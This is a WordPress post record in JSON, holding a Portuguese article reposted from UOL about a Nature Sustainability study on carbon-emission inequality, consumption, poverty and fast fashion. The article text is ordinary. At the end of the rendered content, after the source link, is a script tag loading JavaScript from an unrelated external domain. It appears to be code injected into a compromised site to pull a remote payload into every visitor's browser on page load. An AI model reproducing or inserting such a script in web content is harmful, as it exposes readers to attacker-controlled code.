{"id":453,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-se-sustenta-o-ciclo-de-consumo-pobreza-e-aquecimento-global\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"como-se-sustenta-o-ciclo-de-consumo-pobreza-e-aquecimento-global","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-se-sustenta-o-ciclo-de-consumo-pobreza-e-aquecimento-global\/","title":{"rendered":"Como se sustenta o ciclo de consumo, pobreza e aquecimento global"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>A humanidade emite dezenas de bilh\u00f5es de toneladas de carbono na atmosfera todo ano. No entanto, a distribui\u00e7\u00e3o dessa emiss\u00e3o \u00e9 profundamente desigual.<\/p>\n<p><a href=\"https:\/\/www.nature.com\/articles\/s41893-021-00842-z.pdf\">Um estudo recente publicado no jornal Nature Sustainability<\/a> conseguiu quantificar essa desigualdade: uma pessoa vivendo na \u00c1frica subsaariana emite em m\u00e9dia de 0,6 tonelada de g\u00e1s carb\u00f4nico por ano, enquanto um americano emite 14,5 toneladas. Se ranquearmos cada pessoa do mundo de acordo com sua emiss\u00e3o, o 1% mais emissor emite 75 vezes mais do que toda a metade menos emissora.<\/p>\n<p>A novidade do modelo considerado pelo estudo \u00e9 que ele inclui dados de consumo ao inv\u00e9s de considerar apenas emiss\u00e3o local, j\u00e1 que parte consider\u00e1vel da emiss\u00e3o de pa\u00edses mais pobres tem como causa a manuten\u00e7\u00e3o dos padr\u00f5es de consumo de pa\u00edses ricos.<\/p>\n<p>Roupas e outros materiais de consumo produzidos no sudeste asi\u00e1tico, por exemplo, geram uma grande quantidade de emiss\u00e3o de carbono e de diversos poluentes na atmosfera e nos aqu\u00edferos locais. Mas o ritmo de produ\u00e7\u00e3o \u00e9 mantido pelo alto consumo de fast-fashion (roupas que s\u00e3o usadas poucas vezes e depois descartadas) ao redor do mundo todo.<\/p>\n<p>Para levar em conta o padr\u00e3o de consumo de cada indiv\u00edduo de forma detalhada, portanto, os autores do estudo dividiram cada pa\u00eds estudado em cerca de 200 categorias de consumo e calcularam quanto carbono \u00e9 emitido para manter o padr\u00e3o de vida de cada categoria.<\/p>\n<p>Se a desigualdade j\u00e1 era impressionante estudando diferentes regi\u00f5es do mundo, num n\u00edvel individual essa diferen\u00e7a \u00e9 ainda mais chocante: enquanto mais de um milh\u00e3o de pessoas na \u00c1frica subsaariana emitem menos de 0,01 tonelada de carbono por pessoa a cada ano, o meio milh\u00e3o de pessoas mais ricas do mundo emite centenas de toneladas por pessoa. Ou seja, os mais ricos emitem uma quantidade mais de dez mil vezes maior do que os mais pobres.<\/p>\n<p>Uma das dificuldades do estudo foi tra\u00e7ar com precis\u00e3o o gasto dos chamados &#8220;super-ricos&#8221;, j\u00e1 que parte dos ganhos ocorre na forma de investimentos e parte dos gastos \u00e9 feita em relativo segredo. Outros estudos, no entanto, estimam o gasto dos mais ricos em mais de mil toneladas por ano, ainda maior do que essa estimativa.<\/p>\n<p>Outra quest\u00e3o importante abordada pelo estudo se refere ao custo ambiental de erradicar a pobreza no mundo, j\u00e1 que quanto mais uma pessoa ganha, mais carbono ela emite. Como a Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas (ONU) categoriza como pobreza extrema qualquer pessoa vivendo com menos de US$ 1,9 d\u00f3lar por dia (em 2014, mais de um bilh\u00e3o de pessoas se encontrava nessa categoria, com a maior parte delas vivendo na \u00c1frica e no sudeste asi\u00e1tico), os autores constru\u00edram uma simula\u00e7\u00e3o na qual a popula\u00e7\u00e3o se manteve est\u00e1vel e cada pessoa que passou a ganhar mais de US$ 1,9 (ou seja, que foi tirada da pobreza extrema) assumiu os padr\u00f5es de consumo das pessoas que ganham o equivalente no seu pa\u00eds.<\/p>\n<p>A conclus\u00e3o \u00e9 que erradicar a pobreza extrema no mundo aumentaria a emiss\u00e3o de carbono em menos de 1%. Uma outra simula\u00e7\u00e3o feita para estimar o custo ambiental de erradicar a pobreza concluiu que nesse cen\u00e1rio a emiss\u00e3o de carbono aumentaria 18%. Para erradicar a pobreza, 3,6 bilh\u00f5es de pessoas que vivem com menos de 5,5 d\u00f3lares americanos por dia passariam a ganhar essa quantidade.<\/p>\n<p>Para controlar o estrago causado pelo aquecimento global e manter o aumento de temperatura abaixo de 2 graus Celsius, \u00e9 necess\u00e1rio que a emiss\u00e3o m\u00e9dia por pessoa durante a pr\u00f3xima d\u00e9cada fique entre 1,6 e 2,8 toneladas de carbono por ano.<\/p>\n<p>Uma maneira mais justa de atingir essa quantidade, portanto, seria diminuir os excessos dos &#8220;super-ricos&#8221; e conduzir o crescimento econ\u00f4mico das regi\u00f5es mais pobres com pr\u00e1ticas mais ambientalmente respons\u00e1veis, mas a conclus\u00e3o \u00e9 de que h\u00e1 espa\u00e7o para melhorar a qualidade de vida de quem precisa.<\/p>\n<p>H\u00e1 quem argumente que o padr\u00e3o de consumo dos mais ricos seja justamente o que fornece trabalho para os indiv\u00edduos mais pobres do mundo, e que sem esse consumo a situa\u00e7\u00e3o nesses pa\u00edses seria ainda pior.<\/p>\n<p>Voltando ao exemplo da fast-fashion, uma porcentagem consider\u00e1vel da produ\u00e7\u00e3o de roupas \u00e9 feita por trabalhadores em condi\u00e7\u00f5es insalubres, mantidos na pobreza apesar da intensa carga hor\u00e1ria de trabalho. A produ\u00e7\u00e3o \u00e9 de baixa qualidade e abastece um mercado baseado na premissa de que o importante \u00e9 sempre comprar uma pe\u00e7a nova para seguir a moda. A baixa qualidade tem pouca import\u00e2ncia j\u00e1 que as roupas s\u00e3o feitas para serem descartadas com frequ\u00eancia, e n\u00e3o para durar.<\/p>\n<p>N\u00e3o seria melhor um mundo no qual as pessoas trabalhando nessa ind\u00fastria fossem mais bem pagas, tivessem tempo para passar com a fam\u00edlia e vivessem num ambiente menos polu\u00eddo, e o consumidor pagasse um pouco a mais por roupas melhores que n\u00e3o precisassem ser substitu\u00eddas com tanta frequ\u00eancia?<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/para-onde-o-mundo-vai\/2022\/04\/24\/como-se-sustenta-o-ciclo-entre-consumo-pobreza-e-aquecimento-global.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A humanidade emite dezenas de bilh\u00f5es de toneladas de carbono na atmosfera todo ano. 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